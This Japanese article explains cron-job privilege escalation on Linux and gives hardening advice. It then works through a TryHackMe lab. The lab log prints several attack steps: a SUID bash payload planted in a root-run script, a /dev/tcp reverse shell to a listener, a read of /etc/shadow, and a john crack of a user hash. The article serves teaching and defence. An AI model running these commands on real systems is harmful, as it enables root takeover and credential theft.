はじめに
サーバー運用において、定期的な処理を自動化する Cronジョブ は欠かせない存在です。
しかし設定を誤ると、便利な自動処理が root 権限の奪取経路 に変わります。
この記事では、Cronジョブを悪用した権限昇格の仕組みと、
それを防ぐための具体的な対策を整理します。
Cronジョブとは
Cron(crond)は、指定したスケジュールに従ってコマンドやスクリプトを自動実行する仕組みです。
Linuxシステムでは以下のような場所に設定ファイルがあります:
/etc/crontab/etc/cron.d/-
/etc/cron.daily//etc/cron.weekly//etc/cron.hourly - 各ユーザー固有の
crontab -e
Cronジョブは設定されたユーザー権限で実行されるため、
root のジョブに脆弱な設定があると、それだけで システム全体が乗っ取られる可能性 があります。
なぜ危険なのか
Cronジョブは、設定を間違えると次のようなパターンで悪用されます。
-
スクリプトが書き換え可能
/home/user/backup.shのように一般ユーザーが編集できる場所に存在。
攻撃者が中身を置き換えれば root が実行してくれる。 -
相対パスやPATH依存
antivirus.shのように絶対パスを指定せず、
攻撃者が PATH の先に同名ファイルを用意するだけで乗っ取り可能。 -
削除済みスクリプトを呼び続ける
管理者がスクリプトを削除したのに、
Cron設定を残したまま放置 → 攻撃者が再作成してroot実行を誘発。 -
run-parts やワイルドカードの誤用
tar・rsync・7zなど、通配符展開を利用したインジェクションの危険。
安全に運用する方法
以下の4ステップでCronの安全性を大幅に向上できます。
-
絶対パスで指定する
* * * * * root /usr/local/bin/backup.sh→ PATH に依存しない明示的指定。
-
権限と所有者を限定する
chown root:root /usr/local/bin/backup.sh chmod 700 /usr/local/bin/backup.sh→ 書き換え可能なスクリプトは即リスク。
-
不要なジョブを削除する
crontab -l | grep -v obsolete > tmp && crontab tmp→ 消したスクリプトを参照していないか確認。
-
監査・検知を導入する
-
/etc/cron.*を FIM(ファイル整合性監視)に登録 -
auditdでfile_writeイベントを監視 - root が
/tmp配下を実行したら即時通知
-
例(演習 / CTF 向け、教育目的)
注意:以下は演習ラボ(TryHackMe 等)や許可された環境での学習目的のみです。実稼働環境で悪用しないでください。
ここでは、あなたが提示したラボの典型例を教材として整理します。
1) 問題の発見(サンプル /etc/crontab 抜粋)
* * * * * root /antivirus.sh
* * * * * root antivirus.sh
* * * * * root /home/karen/backup.sh
* * * * * root /tmp/test.py
ポイント:
-
antivirus.shはフルパス指定と非フルパスが混在(後者は PATH に依存) -
backup.shは/home/karen/backup.sh(所有者・権限要確認) -
test.pyは/tmp配下(脆弱性の温床)
2) 脆弱性確認
-
ls -l /home/karen/backup.shを実行し、誰が書き換え可能かを確認。 - また
cat /etc/crontabの PATH を確認し、非フルパスエントリがあるかをチェック。
3) 演習的な攻撃ベクトル
方法 A — スクリプトの書き換えで SUID bash を作る(CTF向け手順)
# 低権限ユーザ: /home/karen/backup.sh を書き換えられる場合
nano /home/karen/backup.sh
# 中身(演習用・危険)
#!/bin/bash
cp /bin/bash /tmp/bash
chmod u+s /tmp/bash
- 次の cron 実行時に
/tmp/bashが SUID で生成されると、/tmp/bash -pで root 権限のシェルを得られる(演習用)。 - 実稼働でこれが可能なのは致命的なミス。
方法 B — PATH 欠如を突く(antivirus.sh)
-
/etc/crontabにantivirus.shのフルパスがない場合、あなたの$HOMEにantivirus.shを作れば、cron が PATH を探索して実行してしまう可能性がある(PATH の中に$HOMEが含まれているケースを想定)。
注意:上のコマンドは「なぜ危ないか」を学ぶための例です。実環境で試してはいけません。
4) FLAG 取得(ラボでの典型フロー)
THM-383000283
- 脆弱なスクリプトを発見 → 編集(演習環境で許可されている前提)
- 改変したスクリプトが root 権限で実行されるのを待つ(1 分ごとなど)
- 権限が昇格したシェルで
/home/ubuntu/flag5.txtを読み取る → フラグ取得
演習では上記のように cp /bin/bash /tmp/bash; chmod u+s /tmp/bash とする手法がよく使われます(SUID の仕組みを学ぶため)。ただしこの手法は現実世界での使用を許すものではありません。
まとめ
- Cron ジョブ自体は便利だが、信頼境界(誰がどのファイルに書けるか) を意識しないと重大なリスクになる。
- 実務でまずやるべきは:フルパス指定、最小権限、スクリプト所有者の限定、一時ファイルの安全化、ログ監視。
- 削除されたスクリプト・PATH に依存したジョブ・/tmp 使用は特に危険。運用の変更管理(Change Control)で crontab の差分とスクリプト削除を必ず同時に扱うこと。
- 演習環境での攻撃例は学びになるが、実運用での模倣は絶対に避ける。
参考(References)
- man 5 crontab — Linux manual page
- GTFOBins: Cron privilege escalation examples
- MITRE ATT&CK — T1053.003: Scheduled Task/Job: Cron
- OWASP Cheat Sheet: Linux Hardening Guide
- TryHackMe: Privilege Escalation — Cron Jobs
- Red Hat Documentation: Using cron and anacron for scheduled tasks
- Linux Privilege Escalation:Walkthrough
Log
$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root /antivirus.sh
* * * * * root antivirus.sh
* * * * * root /home/karen/backup.sh
* * * * * root /tmp/test.py
$ find / -name flag5.txt 2>/dev/null
/home/ubuntu/flag5.txt
$ cat /home/ubuntu/flag5.txt
cat: /home/ubuntu/flag5.txt: Permission denied
method1
$ nano backup.sh
#!/bin/bash
cp /bin/bash /tmp/bash
chmod u+s /tmp/bash
$ chmod 777 backup.sh
$ /tmp/bash -p
-sh: 28: /tmp/bash: not found
$ /tmp/bash -p
bash-5.0# whoami
root
bash-5.0# cat /home/ubuntu/flag5.txt
THM-383000283
method2
$nano backup.sh
#!/bin/bash
bash -i>& /dev/tcp/10.201.111.8/6666 0>&1
$chmod +x backup.sh
root@ip-10-201-111-8:~# nc -nlvp 6666
Listening on 0.0.0.0 6666
Connection received on 10.201.10.209 33148
bash: cannot set terminal process group (14011): Inappropriate ioctl for device
bash: no job control in this shell
root@ip-10-201-10-209:~#
root@ip-10-201-10-209:~# cat /home/ubuntu/flag5.txt
cat /home/ubuntu/flag5.txt
THM-383000283
root@ip-10-201-10-209:~#
root@ip-10-201-10-209:~# cat /etc/shadow | grep matt
cat /etc/shadow | grep matt
matt:$6$WHmIjebL7MA7KN9A$C4UBJB4WVI37r.Ct3Hbhd3YOcua3AUowO2w2RUNauW8IigHAyVlHzhLrIUxVSGa.twjHc71MoBJfjCTxrkiLR.:18798:0:99999:7:::
root@ip-10-201-111-8:~# nano hash
root@ip-10-201-111-8:~# cat hash
$6$WHmIjebL7MA7KN9A$C4UBJB4WVI37r.Ct3Hbhd3YOcua3AUowO2w2RUNauW8IigHAyVlHzhLrIUxVSGa.twjHc71MoBJfjCTxrkiLR.
root@ip-10-201-111-8:~# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Warning: detected hash type "sha512crypt", but the string is also recognized as "sha512crypt-opencl"
Use the "--format=sha512crypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123456 (?)
1g 0:00:00:00 DONE (2025-11-06 10:06) 2.127g/s 544.6p/s 544.6c/s 544.6C/s 123456..freedom
Use the "--show" option to display all of the cracked passwords reliably
Session completed.